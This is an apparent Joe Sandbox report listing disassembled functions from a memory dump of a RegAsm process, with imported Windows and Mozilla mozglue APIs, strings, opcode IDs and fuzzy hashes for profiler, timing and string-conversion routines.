Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6CC94EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC94F2E
moz_xmalloc.MOZGLUE ref: 6CC94F52
memset.VCRUNTIME140(00000000,00000000), ref: 6CC94F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC952B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC952E6
Sleep.KERNEL32(00000010), ref: 6CC95481
free.MOZGLUE(?), ref: 6CC95498

Strings

(, xrefs: 6CC95250

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 204183b29151d107b00e1fa882b610387a87ab6b0e9d0cf3b0697dbc30ddd467
Instruction ID: bef3cfb0d40f4835ba05d26199991e5acd628ad4c6065d02491ebc1adfa071c2
Opcode Fuzzy Hash: 204183b29151d107b00e1fa882b610387a87ab6b0e9d0cf3b0697dbc30ddd467
Instruction Fuzzy Hash: 0FF1F375A18B008FC716CF78C85062BB7F9AFD6384F05872EF846A7651EB31D8468B81

Function 6CC47810 Relevance: 15.4, APIs: 12, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CCBE744), ref: 6CC47885
LeaveCriticalSection.KERNEL32(6CCBE744), ref: 6CC478A5
EnterCriticalSection.KERNEL32(6CCBE784), ref: 6CC478AD
LeaveCriticalSection.KERNEL32(6CCBE784), ref: 6CC478CD
EnterCriticalSection.KERNEL32(6CCBE7DC), ref: 6CC478D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6CC478E9
EnterCriticalSection.KERNEL32(00000000), ref: 6CC4795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6CC479BB
LeaveCriticalSection.KERNEL32(?), ref: 6CC47BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6CC47C82
LeaveCriticalSection.KERNEL32(6CCBE7DC), ref: 6CC47CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6CC47DAF

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID:
API String ID: 759993129-0
Opcode ID: c05e73d1087b6bae17bb023aafb1cac27e38c51ff75aaf9fc93aa02132971b2f
Instruction ID: de31c2ff16b41d6fbe935adb9dc5b39ea4c470711c546b6f19300ba7a1f42f6c
Opcode Fuzzy Hash: c05e73d1087b6bae17bb023aafb1cac27e38c51ff75aaf9fc93aa02132971b2f
Instruction Fuzzy Hash: D8023E71E0121A8FDB54CF59C984799B7B5FF88318F25C2AAD809A7751E730AE91CF80

Function 6CC75190 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 331timeCOMMON

Download Yara Rule

APIs

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6CC751DF
?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6CC7529C
?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,00000000), ref: 6CC752FF
?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6CC7536D
?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6CC753F7

Part of subcall function 6CC6AB89: EnterCriticalSection.KERNEL32(6CCBE370,?,?,?,6CC334DE,6CCBF6CC,?,?,?,?,?,?,?,6CC33284), ref: 6CC6AB94
Part of subcall function 6CC6AB89: LeaveCriticalSection.KERNEL32(6CCBE370,?,6CC334DE,6CCBF6CC,?,?,?,?,?,?,?,6CC33284,?,?,6CC556F6), ref: 6CC6ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_RECORD_OVERHEADS), ref: 6CC756C3
__Init_thread_footer.LIBCMT ref: 6CC756E0

Strings

MOZ_PROFILER_RECORD_OVERHEADS, xrefs: 6CC756BE

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: BaseDurationPlatformSeconds@TimeUtils@mozilla@@$CriticalSection$EnterInit_thread_footerLeavegetenv
String ID: MOZ_PROFILER_RECORD_OVERHEADS
API String ID: 1227157289-345010206
Opcode ID: 0c38fbd5820da571e058bb01c79ab93d0f5b58dfd4fd1ef7188c45a07bad91a8
Instruction ID: 10cce13f1c5ce48694b254df641a6b32b60ef1b26413e96776dddeb07509c8ac
Opcode Fuzzy Hash: 0c38fbd5820da571e058bb01c79ab93d0f5b58dfd4fd1ef7188c45a07bad91a8
Instruction Fuzzy Hash: 55E19271914F45CAC722CF35885026BB7B5FF9B394F109B0EE8AB2A950EF30E4468751

Function 6CC97030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6CC97046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6CC97060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CC9707E

Part of subcall function 6CC481B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6CC481DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CC97096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CC9709C
LocalFree.KERNEL32(?), ref: 6CC970AA

Strings

(null), xrefs: 6CC9706A, 6CC97083
### ERROR: %s: %s, xrefs: 6CC97087

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: 18d57eb4f3de29e0856464fe28bb92943cb975df8556b58ad2d8d51f5921caf6
Instruction ID: 8124e094ee603de008e810359ef376fae09ef820a0fb28981a9df2d671c5d74c
Opcode Fuzzy Hash: 18d57eb4f3de29e0856464fe28bb92943cb975df8556b58ad2d8d51f5921caf6
Instruction Fuzzy Hash: 5D01B9B1A00108AFDF00ABE4DC9ADAF7BBCEF49254F010435FA05E3241E6716914CBA5

Function 6CC82C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6CC82C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6CC82C61

Part of subcall function 6CC34DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CC34E5A
Part of subcall function 6CC34DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CC34E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CC82C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CC82E2D

Part of subcall function 6CC481B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6CC481DE

Strings

(root), xrefs: 6CC8354F
ProfileBuffer parse error: %s, xrefs: 6CC82E3B
expected a Time entry, xrefs: 6CC82E36

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: d385ce8aeefbdc44acded72305fb4ba73eb3d42deb6f7f9680d228b9c214f0c0
Instruction ID: 77f7c8d2a811920f5dbfdac0801bb89fbc501b3e29dd3f1148780d1efb9f4057
Opcode Fuzzy Hash: d385ce8aeefbdc44acded72305fb4ba73eb3d42deb6f7f9680d228b9c214f0c0
Instruction Fuzzy Hash: ED91E0B06097408FD724CF24C4A869FBBE1AFC9358F14491EE99A87751FB30D949CB52

Function 6CC99E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6CC99F3D
__aulldiv.LIBCMT ref: 6CC99F77
__aullrem.LIBCMT ref: 6CC99F8C
__aulldiv.LIBCMT ref: 6CC9A023

Strings

NaN, xrefs: 6CC99EAB
-Infinity, xrefs: 6CC99E60, 6CC99E7B

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: 88987848f3a063f64a5a10850f761dd4747f3cc86f78c739310f5c0f1aba7dd5
Instruction ID: ab6bdadffe1cd4a29a4aa2c99262c168c13e6353f6d973d07d4c9d313f69a4b5
Opcode Fuzzy Hash: 88987848f3a063f64a5a10850f761dd4747f3cc86f78c739310f5c0f1aba7dd5
Instruction Fuzzy Hash: 3AC1A131E04319CFDB14CFA9C89079EB7B6FF88714F144529D406ABB80EB71A949CB91

Function 6CC9B910 Relevance: 9.1, APIs: 6, Instructions: 146nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC49B80: GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,6CC9B92D), ref: 6CC49BC8
Part of subcall function 6CC49B80: __Init_thread_footer.LIBCMT ref: 6CC49BDB

rand_s.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6CC403D4,?), ref: 6CC9B955
NtQueryVirtualMemory.NTDLL ref: 6CC9B9A5
NtQueryVirtualMemory.NTDLL ref: 6CC9BA20
RtlNtStatusToDosError.NTDLL ref: 6CC9BA7B
RtlSetLastWin32Error.NTDLL(00000000,00000000,00000000,?,00000000,?,0000001C,00000000), ref: 6CC9BA81
GetLastError.KERNEL32(00000000,00000000,00000000,?,00000000,?,0000001C,00000000), ref: 6CC9BA86

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: Error$LastMemoryQueryVirtual$InfoInit_thread_footerStatusSystemWin32rand_s
String ID:
API String ID: 1753913139-0
Opcode ID: 3c0721a34068e16de21f10f82da48cac9db6571cd9dc1a909f8d6d4efbb4e78d
Instruction ID: 298164241081a63215a8f88014077f3672320712cbe7e616001a6955ee484ac4
Opcode Fuzzy Hash: 3c0721a34068e16de21f10f82da48cac9db6571cd9dc1a909f8d6d4efbb4e78d
Instruction Fuzzy Hash: 3D515F71E01219EFDF24CFA9D994ADDB7B6AF88314F154129E901B7704EB30AD868B90

Function 6CC78AC0 Relevance: 7.7, APIs: 5, Instructions: 174timeCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC6FA80: GetCurrentThreadId.KERNEL32 ref: 6CC6FA8D
Part of subcall function 6CC6FA80: AcquireSRWLockExclusive.KERNEL32(6CCBF448), ref: 6CC6FA99

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6CC91563), ref: 6CC78BD5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6CC91563), ref: 6CC78C3A
ReleaseSRWLockExclusive.KERNEL32(-00000018,?,?,?,?,?,?,?,?,?,?,?,6CC91563), ref: 6CC78C74
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,6CC91563), ref: 6CC78CBA
free.MOZGLUE(?), ref: 6CC78CCF

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: ExclusiveLockNow@Stamp@mozilla@@TimeV12@_free$AcquireCurrentReleaseThread
String ID:
API String ID: 2153970598-0
Opcode ID: b1d5c0fa925432108f5ca9dc53e2b7a9f15127c98f0a8fae8bedb1ce11857436
Instruction ID: c0d585bdce678feb24f3386adc40f584f1c39088f97c0c8fa341d8dca8ca1a3f
Opcode Fuzzy Hash: b1d5c0fa925432108f5ca9dc53e2b7a9f15127c98f0a8fae8bedb1ce11857436
Instruction Fuzzy Hash: CB718D75A14B008FD714CF29C480A5AB7F1FF99318F558A5EE9899B722F770E884CB41

Function 6CC3F280 Relevance: 7.6, APIs: 5, Instructions: 87nativelibraryloaderCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL ref: 6CC3F2B4
GetProcAddress.KERNEL32(00000000,?), ref: 6CC3F2F0
NtQueryVirtualMemory.NTDLL ref: 6CC3F308
RtlNtStatusToDosError.NTDLL ref: 6CC3F36B
RtlSetLastWin32Error.NTDLL(00000000,00000000,000000FF,?,00000000,?,0000001C,?), ref: 6CC3F371

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: ErrorMemoryQueryVirtual$AddressLastProcStatusWin32
String ID:
API String ID: 1171715205-0
Opcode ID: e79293dfd7489ec129475506178e5b8476a6904c26ff159ede1fb511f247a457
Instruction ID: 2cc22a683bdbbd06526de5443faea9543726e00d0518af7ce36bc2beec93f2a8
Opcode Fuzzy Hash: e79293dfd7489ec129475506178e5b8476a6904c26ff159ede1fb511f247a457
Instruction Fuzzy Hash: ED21F530B40319DFEB508A91ED54BEF76B8AB0435CF101669E5289A580F774988CC760

Function 6CCA53C8 Relevance: 6.6, APIs: 5, Instructions: 310COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CCA86AE

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 020699a8d883c895cbf1e7bdb6619c7a9db3bf51279c0ce3409d4d95b83b76bf
Instruction ID: 90134d481d8ee2ca07bb6f8e27f3d7eb3774d5f531483665de0b4357621f1713
Opcode Fuzzy Hash: 020699a8d883c895cbf1e7bdb6619c7a9db3bf51279c0ce3409d4d95b83b76bf
Instruction Fuzzy Hash: FFC1D672A0011B8FDB14CFA8CC95BEDB7B2EF85314F1442A9C549EB755E730A986CB90

Function 6CCA545C Relevance: 6.6, APIs: 5, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CCA8A4B

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 16dbecf4110f77ee0d11a7f09f5a8c2795f6cacc94bf472449b708c0bdb53d65
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 93B1E772E0121B8FDB14CFA8CC95B99B7B2FF85314F1442A9C549DB791E7309986CB90

Function 6CCA542B Relevance: 6.5, APIs: 5, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CCA88F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CCA925C

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 403cc8438c9d6344da7280d9925acda44dd7f54a54e1b9944efca034669d9211
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 42B1D672E0110B8FDB14CF98CC95AADB7B2EF84314F144269C549DBB95E731A98ACB90

Function 6CCA50C7 Relevance: 6.5, APIs: 5, Instructions: 280COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CCA8E18
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CCA925C

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction ID: 67aecc2a34470d7db9565864bf623d754237ad6538d1d6d206fed0fafd9e6941
Opcode Fuzzy Hash: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction Fuzzy Hash: C8A1E972E001178FCB14CF98CC95B99B7B2EF85314F1442B9C949DB785E731A99ACB90

Function 6CC877A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CC87A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CC87A93

Part of subcall function 6CC55C50: GetTickCount64.KERNEL32 ref: 6CC55D40
Part of subcall function 6CC55C50: EnterCriticalSection.KERNEL32(6CCBF688), ref: 6CC55D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CC87AA1

Part of subcall function 6CC55C50: __aulldiv.LIBCMT ref: 6CC55DB4
Part of subcall function 6CC55C50: LeaveCriticalSection.KERNEL32(6CCBF688), ref: 6CC55DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6CC87B31

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: fec2ce6aca0a4b55e8746976372f91eedc43dfa23ec190df97acf15f78fd2d66
Instruction ID: bd75fdb6a6f6ac53edce3555c5069d78ace88698e5a885d2caaad1225ef9fa66
Opcode Fuzzy Hash: fec2ce6aca0a4b55e8746976372f91eedc43dfa23ec190df97acf15f78fd2d66
Instruction Fuzzy Hash: C8B18D357093848BCB14CF64C05069FBBE2ABC531CF154A1CE99567B91FB70E90ADB82

Function 6CC9B700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL ref: 6CC9B720
RtlNtStatusToDosError.NTDLL ref: 6CC9B75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,000000FF,00000000,00000000,?,0000001C,6CC6FE3F,00000000,00000000,?,?,00000000,?,6CC6FE3F), ref: 6CC9B760

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: 69602cdc0b1d0e29140f1454348b50086523ef860cf579d2745ad6e8c1d4e294
Instruction ID: 5d15ee3e7e3c4228bc50bc9e71f681a6e3b29077ee66b0fdb3e494a2e711cfb8
Opcode Fuzzy Hash: 69602cdc0b1d0e29140f1454348b50086523ef860cf579d2745ad6e8c1d4e294
Instruction Fuzzy Hash: 7EF0AFB0A0420DBEEF119AE18C98BEEB7BF9B04319F10522AE611A15C0E77495C8C660

Function 6CC9B8C0 Relevance: 3.1, APIs: 2, Instructions: 118nativeCOMMON

Download Yara Rule

APIs

rand_s.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6CC403D4,?), ref: 6CC9B955
NtQueryVirtualMemory.NTDLL ref: 6CC9B9A5

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: MemoryQueryVirtualrand_s
String ID:
API String ID: 1889792194-0
